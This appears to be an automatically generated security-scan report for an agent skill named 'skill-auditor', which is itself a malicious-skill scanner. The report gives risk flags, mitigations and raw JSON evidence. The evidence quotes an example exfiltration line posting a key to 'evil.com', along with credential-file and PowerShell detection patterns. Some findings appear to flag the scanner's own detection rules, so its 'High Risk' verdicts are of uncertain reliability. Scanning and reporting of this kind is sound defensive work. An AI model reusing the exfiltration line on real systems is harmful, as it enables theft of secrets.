skill-auditor

· v2.1.3

High Risk

"Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code."

H:4 D:4 A:2 C:1

⚠️ Hazard Flags

EXEC CODE_EXEC PERSISTENCE FS_READ_WORKSPACE FS_READ_USER FS_WRITE_WORKSPACE FS_WRITE_USER FS_WRITE_SYSTEM NET_EGRESS_ANY CREDS_ENV CREDS_FILES PI_WEB PI_DOCUMENTS

📋 Capabilities

Execution

✅ Shell execution
✅ Code execution
❌ Install dependencies
✅ Persistence
Privilege: user

Filesystem

✅ Read workspace
✅ Write workspace
✅ Read home
✅ Write home
❌ Read system
❌ Delete

Network

Egress: any
❌ Ingress

Credentials

✅ Environment vars
✅ Credential files
❌ Browser data
❌ Keychain

Actions

❌ send messages❌ post public❌ purchase❌ transfer money❌ deploy❌ delete external

🔒 Containment

Level: maximum

Required:

SANDBOX_CONTAINER: Code execution capability

Recommended:

LOG_ACTIONS: Audit trail for all actions

⚡ Risks

SSH key access patterns in: scripts/analyzers/static.js high

Mitigation: Verify legitimate need for SSH access. Consider sandboxing.

Prompt injection patterns detected in: scripts/analyzers/static.js high

Mitigation: Review SKILL.md for hidden instructions. Do not use with untrusted input.

Unauthorized tool use: INSTRUCTED_BINARY_INSTALL high

Mitigation: Avoid instructing agents to install arbitrary binaries; bundle dependencies or use sandboxed environments

Command injection risk: COMMAND_INJECTION_EVAL, MCP_CMD_DANGEROUS_SYSTEM critical

Mitigation: Avoid eval(), exec(), and compile(). Use safer alternatives like ast.literal_eval()

Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION low

Mitigation: Provide clear, detailed description of skill functionality

Tool poisoning: hidden behaviors detected (MCP_TOOL_POISONING_DECEPTION) critical

Mitigation: Remove deceptive language. Tools must be transparent about their behavior.

Data exfiltration patterns: MCP_EXFIL_EXTERNAL_UPLOAD, DATA_EXFIL_SENSITIVE_FILES high

Mitigation: Document all external data transfers. Remove suspicious upload references.

Want a deeper analysis?

This report was generated by static analysis. Get an LLM-powered deep review with behavioral reasoning and attack surface mapping.

🧠 Deep Analysis — $5.00

🚨 Incident Response

Kill switch: Stop the agent process

Containment: Review logs for unexpected actions

Recovery: Depends on skill capabilities

📄 Raw SSDS JSON click to expand

{
  "meta": {
    "document_id": "ssds:auto:skill-auditor:2.0.0",
    "ssds_version": "0.2.0",
    "scanner_version": "0.4.0+fe6fd9123d50",
    "created_at": "2026-03-05T02:34:00.224Z",
    "created_by": {
      "agent": "safeagentskills-cli/generate-ssds"
    },
    "language": "en",
    "notes": "Auto-generated SSDS. Manual review recommended."
  },
  "skill": {
    "name": "skill-auditor",
    "version": "2.1.3",
    "format": "agent_skill",
    "description": "\"Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.\"",
    "publisher": "ClawHub",
    "source": {
      "channel": "local"
    },
    "artifact": {
      "sha256": "6c30ddd84544e2a13bf59a32bd5973bf9b846de837da5169a7e27b9f1896b9bb",
      "hash_method": "files_sorted"
    }
  },
  "capabilities": {
    "execution": {
      "can_exec_shell": true,
      "can_exec_code": true,
      "privilege_level": "user",
      "can_install_deps": false,
      "can_persist": true
    },
    "filesystem": {
      "reads_workspace": true,
      "reads_user_home": true,
      "reads_system": false,
      "writes_workspace": true,
      "writes_user_home": true,
      "writes_system": true,
      "can_delete": false
    },
    "network": {
      "egress": "any",
      "ingress": false
    },
    "credentials": {
      "reads_env_vars": true,
      "reads_credential_files": true,
      "reads_browser_data": false,
      "reads_keychain": false
    },
    "services": [
      {
        "service": "email",
        "operations": [
          "read",
          "write"
        ]
      },
      {
        "service": "code_hosting",
        "operations": [
          "read",
          "write"
        ]
      }
    ],
    "actions": {
      "can_send_messages": false,
      "can_post_public": false,
      "can_purchase": false,
      "can_transfer_money": false,
      "can_deploy": false,
      "can_delete_external": false
    },
    "prompt_injection_surfaces": [
      "web",
      "documents"
    ],
    "content_types": [
      "general"
    ]
  },
  "hazards": {
    "hdac": {
      "H": 4,
      "D": 4,
      "A": 2,
      "C": 1
    },
    "flags": [
      "EXEC",
      "CODE_EXEC",
      "PERSISTENCE",
      "FS_READ_WORKSPACE",
      "FS_READ_USER",
      "FS_WRITE_WORKSPACE",
      "FS_WRITE_USER",
      "FS_WRITE_SYSTEM",
      "NET_EGRESS_ANY",
      "CREDS_ENV",
      "CREDS_FILES",
      "PI_WEB",
      "PI_DOCUMENTS"
    ],
    "custom_flags": [
      {
        "code": "CRED_SSH",
        "name": "SSH Key Access",
        "description": "Accesses SSH keys in: scripts/analyzers/static.js"
      },
      {
        "code": "PROMPT_INJECTION",
        "name": "Prompt Injection Risk",
        "description": "Contains prompt injection patterns in: scripts/analyzers/static.js"
      },
      {
        "code": "HIDDEN_INSTRUCTIONS",
        "name": "Hidden Instructions",
        "description": "Contains hidden instructions in comments/invisible chars in: scripts/analyzers/static.js"
      },
      {
        "code": "PERSISTENCE",
        "name": "Persistence Mechanism",
        "description": "Creates scheduled tasks or startup entries in: scripts/analyzers/static.js, scripts/setup.js"
      },
      {
        "code": "TOOL_ABUSE",
        "name": "Unauthorized Tool Use",
        "description": "INSTRUCTED_BINARY_INSTALL: Instructs agent to install external binary or package"
      },
      {
        "code": "SOCIAL_ENGINEERING",
        "name": "Social Engineering Risk",
        "description": "SOCIAL_ENG_VAGUE_DESCRIPTION: Skill description is too vague or missing"
      },
      {
        "code": "COMMAND_INJECTION",
        "name": "Command Injection Risk",
        "description": "COMMAND_INJECTION_EVAL, MCP_CMD_DANGEROUS_SYSTEM: Dangerous code execution functions that can execute arbitrary code"
      },
      {
        "code": "TOOL_POISONING",
        "name": "Tool Poisoning",
        "description": "Hidden secondary behavior detected: MCP_TOOL_POISONING_DECEPTION"
      },
      {
        "code": "DATA_EXFILTRATION",
        "name": "Data Exfiltration Risk",
        "description": "MCP_EXFIL_EXTERNAL_UPLOAD, DATA_EXFIL_SENSITIVE_FILES: Description mentions uploading data to external servers"
      }
    ],
    "confidence": {
      "level": "medium",
      "basis": [
        "static_analysis"
      ],
      "notes": "Detected 9 security patterns (13 vendored rule hits). Review recommended."
    },
    "rationale": {
      "H": "H4: Critical: Privilege escalation or malware detected",
      "D": "D4: Critical: Credential theft or data exfiltration",
      "A": "A2: Service integrations detected",
      "C": "C1: General content"
    }
  },
  "containment": {
    "level": "maximum",
    "required": [
      {
        "control": "SANDBOX_CONTAINER",
        "reason": "Code execution capability"
      }
    ],
    "recommended": [
      {
        "control": "LOG_ACTIONS",
        "reason": "Audit trail for all actions"
      }
    ],
    "uncontained_risk": "Risk level depends on manual review of actual capabilities."
  },
  "risks": {
    "risks": [
      {
        "risk": "SSH key access patterns in: scripts/analyzers/static.js",
        "severity": "high",
        "mitigation": "Verify legitimate need for SSH access. Consider sandboxing."
      },
      {
        "risk": "Prompt injection patterns detected in: scripts/analyzers/static.js",
        "severity": "high",
        "mitigation": "Review SKILL.md for hidden instructions. Do not use with untrusted input."
      },
      {
        "risk": "Unauthorized tool use: INSTRUCTED_BINARY_INSTALL",
        "severity": "high",
        "mitigation": "Avoid instructing agents to install arbitrary binaries; bundle dependencies or use sandboxed environments"
      },
      {
        "risk": "Command injection risk: COMMAND_INJECTION_EVAL, MCP_CMD_DANGEROUS_SYSTEM",
        "severity": "critical",
        "mitigation": "Avoid eval(), exec(), and compile(). Use safer alternatives like ast.literal_eval()"
      },
      {
        "risk": "Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION",
        "severity": "low",
        "mitigation": "Provide clear, detailed description of skill functionality"
      },
      {
        "risk": "Tool poisoning: hidden behaviors detected (MCP_TOOL_POISONING_DECEPTION)",
        "severity": "critical",
        "mitigation": "Remove deceptive language. Tools must be transparent about their behavior."
      },
      {
        "risk": "Data exfiltration patterns: MCP_EXFIL_EXTERNAL_UPLOAD, DATA_EXFIL_SENSITIVE_FILES",
        "severity": "high",
        "mitigation": "Document all external data transfers. Remove suspicious upload references."
      }
    ],
    "limitations": [
      "Static analysis only - runtime behavior not verified"
    ]
  },
  "incident_response": {
    "kill_switch": [
      "Stop the agent process"
    ],
    "containment": [
      "Review logs for unexpected actions"
    ],
    "recovery": [
      "Depends on skill capabilities"
    ]
  },
  "evidence": [
    {
      "evidence_id": "EV:file-1",
      "type": "file_excerpt",
      "title": "_meta.json",
      "file_path": "_meta.json"
    },
    {
      "evidence_id": "EV:file-2",
      "type": "file_excerpt",
      "title": "package.json",
      "file_path": "package.json"
    },
    {
      "evidence_id": "EV:file-3",
      "type": "file_excerpt",
      "title": "README.md",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:file-4",
      "type": "file_excerpt",
      "title": "scripts/analyzers/ast-python.js",
      "file_path": "scripts/analyzers/ast-python.js"
    },
    {
      "evidence_id": "EV:file-5",
      "type": "file_excerpt",
      "title": "scripts/analyzers/llm-semantic.js",
      "file_path": "scripts/analyzers/llm-semantic.js"
    },
    {
      "evidence_id": "EV:file-6",
      "type": "file_excerpt",
      "title": "scripts/analyzers/static.js",
      "file_path": "scripts/analyzers/static.js"
    },
    {
      "evidence_id": "EV:file-7",
      "type": "file_excerpt",
      "title": "scripts/analyzers/virustotal.js",
      "file_path": "scripts/analyzers/virustotal.js"
    },
    {
      "evidence_id": "EV:file-8",
      "type": "file_excerpt",
      "title": "scripts/ast-analyzer.py",
      "file_path": "scripts/ast-analyzer.py"
    },
    {
      "evidence_id": "EV:file-9",
      "type": "file_excerpt",
      "title": "scripts/audit-installed.js",
      "file_path": "scripts/audit-installed.js"
    },
    {
      "evidence_id": "EV:file-10",
      "type": "file_excerpt",
      "title": "scripts/format-report.js",
      "file_path": "scripts/format-report.js"
    },
    {
      "evidence_id": "EV:cisco-1",
      "type": "file_excerpt",
      "title": "INSTRUCTED_BINARY_INSTALL [HIGH] README.md:41: pip install tree-sitter tree-sitter-python",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-2",
      "type": "file_excerpt",
      "title": "MCP_TOOL_POISONING_DECEPTION [CRITICAL] README.md:32: The core scanner runs pattern matching against 40+ known threat signatures. It c",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-3",
      "type": "file_excerpt",
      "title": "MCP_EXFIL_EXTERNAL_UPLOAD [HIGH] README.md:47: requests.post('evil.com', data=key)  # sink ← flagged!",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-4",
      "type": "file_excerpt",
      "title": "COMMAND_INJECTION_EVAL [CRITICAL] scripts/analyzers/static.js:545: while ((match = pattern.regex.exec(line)) !== null) {",
      "file_path": "scripts/analyzers/static.js"
    },
    {
      "evidence_id": "EV:cisco-5",
      "type": "file_excerpt",
      "title": "MCP_CMD_DANGEROUS_SYSTEM [CRITICAL] scripts/analyzers/static.js:124: id: 'powershell-invoke',",
      "file_path": "scripts/analyzers/static.js"
    },
    {
      "evidence_id": "EV:cisco-6",
      "type": "file_excerpt",
      "title": "DATA_EXFIL_SENSITIVE_FILES [HIGH] scripts/ast-analyzer.py:26: 'open': 'File read (check for .env, credentials)',",
      "file_path": "scripts/ast-analyzer.py"
    },
    {
      "evidence_id": "EV:cisco-7",
      "type": "file_excerpt",
      "title": "TIRITH_ANSI_ESCAPE_IN_STRING [HIGH] scripts/audit-installed.js:13: reset: '\\x1b[0m',",
      "file_path": "scripts/audit-installed.js"
    },
    {
      "evidence_id": "EV:cisco-8",
      "type": "file_excerpt",
      "title": "COMMAND_INJECTION_EVAL [CRITICAL] scripts/scan-url.js:21: eval(`PATTERNS = [${patternsMatch[1]}];`);",
      "file_path": "scripts/scan-url.js"
    },
    {
      "evidence_id": "EV:cisco-9",
      "type": "file_excerpt",
      "title": "MCP_CMD_DANGEROUS_SYSTEM [CRITICAL] scripts/setup.js:291: log(`\\n   In PowerShell profile (~\\\\Documents\\\\PowerShell\\\\Microsoft.PowerShell_",
      "file_path": "scripts/setup.js"
    },
    {
      "evidence_id": "EV:cisco-10",
      "type": "file_excerpt",
      "title": "TIRITH_ANSI_ESCAPE_IN_STRING [HIGH] scripts/setup.js:27: reset: '\\x1b[0m',",
      "file_path": "scripts/setup.js"
    }
  ]
}